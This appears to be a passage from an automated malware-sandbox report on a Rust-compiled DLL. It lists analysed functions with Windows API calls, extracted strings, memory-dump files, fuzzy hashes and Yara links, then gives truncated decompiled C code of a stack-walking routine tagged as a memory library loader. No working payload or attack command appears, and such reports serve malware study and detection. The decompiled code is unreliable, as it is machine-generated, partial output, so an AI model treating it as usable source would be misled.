IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6E7C041E
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6E7C0428
UnhandledExceptionFilter.KERNEL32(C00000EF,?,?,?,?,?,00000000), ref: 6E7C0435

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d9766c9089550d368586283d6a0d024ab615ba2c4d14557b080f8910520df360
Instruction ID: ade53885e773e37f56ccb80d517e7600db724ec16ff55624e4792253f66ab946
Opcode Fuzzy Hash: d9766c9089550d368586283d6a0d024ab615ba2c4d14557b080f8910520df360
Instruction Fuzzy Hash: A131C4759012289FCB61DF64D9887CDBBB8BF08710F5045EAE41CA7260E7709F858F45

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A9F10, Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

<>()C,, xrefs: 6E7A9FAD
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E7A9F76
{recursion limit reached}{invalid syntax}, xrefs: 6E7AA182

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: <>()C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${recursion limit reached}{invalid syntax}
API String ID: 0-2241449410
Opcode ID: 6087a26c4bb89a75aa2316600cdbe9095945348afa2698eefc7397d0fc2b908a
Instruction ID: 52cb5ed23cc9bbd8afc1bfaf0b5215c8db182c57e3cf7599c2f5ef16b37b77da
Opcode Fuzzy Hash: 6087a26c4bb89a75aa2316600cdbe9095945348afa2698eefc7397d0fc2b908a
Instruction Fuzzy Hash: A681F4707487029FE724CEADD69075677F29F91300F048A3DD69A8B661D736D4468F01

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B0380, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 732COMMON

Download Yara Rule

Strings

<unknown>, xrefs: 6E7B0403

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: <unknown>
API String ID: 1617791916-1574992787
Opcode ID: e25e8cb21057d613830522a1120950ad50bff47a8ced445356aec6bbb984496d
Instruction ID: 50703af7f58fe69025b9f3a2ba0baca6ecd8df3119ddad78f7a5d831e41e7d75
Opcode Fuzzy Hash: e25e8cb21057d613830522a1120950ad50bff47a8ced445356aec6bbb984496d
Instruction Fuzzy Hash: 8962AB71E04269CFDF15CFA8CA907DEBBB2AF4A304F1481A9D459B7262E7309985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A1DE0, Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6E7A2168
?, xrefs: 6E7A1E9B

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ?${invalid syntax}
API String ID: 0-3691751180
Opcode ID: d307d5cb66333d381ada017a47b1c4be4f15d139333e5c91855a812c60a713a5
Instruction ID: 39a2804dbe2bb850274fb27ab7fc2fd438bef2d9c7216144ac75d19a5f27697c
Opcode Fuzzy Hash: d307d5cb66333d381ada017a47b1c4be4f15d139333e5c91855a812c60a713a5
Instruction Fuzzy Hash: 74B17D7161D3528FE709CEADC69015AB3A2AF86341F04C73EFAA457221D731D946CF82

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A68B0, Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E7A68C9
{invalid syntax}, xrefs: 6E7A6B4D

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${invalid syntax}
API String ID: 0-903684146
Opcode ID: 6aad5d10cc648ac9ef086d6f008c17fa4ec9bdb5ec1ca100bf833a04c139bf0b
Instruction ID: cba5a57eaba9d4d97874476264481724ee8a0bb7ad07a57f1805431a484002cb
Opcode Fuzzy Hash: 6aad5d10cc648ac9ef086d6f008c17fa4ec9bdb5ec1ca100bf833a04c139bf0b
Instruction Fuzzy Hash: 448157717643014FE7708EED9790366B3E2AB41714F24873CCB9A4B6B2E271E6498B03

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BE3A1, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,6E7BE39C,?,?,?,?,?,?,00000000), ref: 6E7BE5CE

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 09832f845d94c50bd64d0b8f51bda014ec295d41f6b9868d074fb6be246fffaf
Instruction ID: 9f7b983472d1f79f20917a1f32784d5a8ce30d30aac9ccdfd45b7ed92a06f709
Opcode Fuzzy Hash: 09832f845d94c50bd64d0b8f51bda014ec295d41f6b9868d074fb6be246fffaf
Instruction Fuzzy Hash: 9AB1253161060D8FD745CF68C596B957BA0FF45364F2586A8E8AACF3A1C335E992CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BA584, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6E7BA59A

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: c34b40e2341c7f787ae75316a343be0d11c3ee88b83aad942d3421a5e71848f0
Instruction ID: 11cb0b26dbf2b278cc7c8a8cc86f65cdde22d6ba6d0f8f0f799d955e87d5bfb1
Opcode Fuzzy Hash: c34b40e2341c7f787ae75316a343be0d11c3ee88b83aad942d3421a5e71848f0
Instruction Fuzzy Hash: A851C0B1A116068FEF44CF95DA917AEBBF8FB48324F10803AC416EB254E374A904CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C0927, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4e749267fa59b6153e577813acda6221795ca2f638c978ccdbb08b25c7d092f
Instruction ID: ef1c0d00e38a1b09e886b9358bf2fe48b749588caa3c06c7978d54fd223b5316
Opcode Fuzzy Hash: d4e749267fa59b6153e577813acda6221795ca2f638c978ccdbb08b25c7d092f
Instruction Fuzzy Hash: CA41B4B5804619AFDB50DFB9CD98AEABBBDEF45704F1442E9E408E3210E7319E848F51

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B10C0, Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6E7B12F3

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: 10b38b8c83c2b9bae89ac21f46df25fb033e67971fc50a606cd6f61ff67f35ac
Instruction ID: a54ed87057ebf61136869256c4f63cca803eec24520dd2d8d33e07ff73132f68
Opcode Fuzzy Hash: 10b38b8c83c2b9bae89ac21f46df25fb033e67971fc50a606cd6f61ff67f35ac
Instruction Fuzzy Hash: 3BD1D7316087098FC350CEA9C6D065AB7E3AF85714F258769E4A88F3A5E631DD4ECF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A3A90, Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f89ff337401d80975c6ff3ff2f34aebd1c0eed94bdb260e510dd6b4b10daf5
Instruction ID: e04a5f4536f6962e987738ba68d290984f729d73e341dfa761113a6c77e48324
Opcode Fuzzy Hash: 39f89ff337401d80975c6ff3ff2f34aebd1c0eed94bdb260e510dd6b4b10daf5
Instruction Fuzzy Hash: 16020031A187159FD315DEBDC58022AF3E2AFDA300F11C73EE985A7265EB71AC428781

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B9920, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54134a5dd88de1858178563d19a794649bf96612c768dc75f5a5ca39642702ed
Instruction ID: 6247ddad3ccf59abed120693fa422084fd70d4929a6304b5dbb16f21daf67df1
Opcode Fuzzy Hash: 54134a5dd88de1858178563d19a794649bf96612c768dc75f5a5ca39642702ed
Instruction Fuzzy Hash: FA0119323112018FE798CFA8C6A0A6A73E6BFAA654F5544B9D426CB775DB34E840CA41

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C02CC, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction ID: d8abff1122590c89c23af8befed0200277725e35132f6b73c2ae44ec7f2e3f15
Opcode Fuzzy Hash: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction Fuzzy Hash: 98E046B2911238EFCB10CBC88A04A8AB2ACEB44F84B1104A6A511E3220D270DE00CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BEC0B, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction ID: c1861eb470fcc92f9eeb88e4f101ef8e1df29627db1555ab02baf78154fecccd
Opcode Fuzzy Hash: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction Fuzzy Hash: 22C08CB40019084ACE059D5093703A43368E382B82F902CDCC80A4B7A1E62EB887DB01

Uniqueness

Uniqueness Score: -1.00%

Function 6E7ADEE0, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E7ADEE0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6E7B3B90;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6E7BC310(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6e7ed0bc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6E7C7370(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6E7C6DB0(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6e7eded0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6E7B0EC0(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6e7fadc8, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6e7fadc8, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6e7fadc8, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6e7ed5c8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e7ecd60;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6E7A2320( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6e7fadc8, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6e7ed5d0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6E7BC310(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6E7B9EEE();
						_t217 = E6E7AE690(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6e7fade8; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6e7fadd0, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6E7C6E20(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e7ee2c0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6e7fade8 = _t218;
									_t267 =  *0x6e7fadec; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6e7fadec; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6e7fadf8; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6E7BC310(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6E7AE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6e7fadd0, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6E7BC310(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6e7fade4; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6e7fadd0, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6E7C6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e7ee2c0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6e7fade4 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6E7AE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6e7fadf8 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6e7fadd0, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6E7C6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e7ee2c0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6E7AE880( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
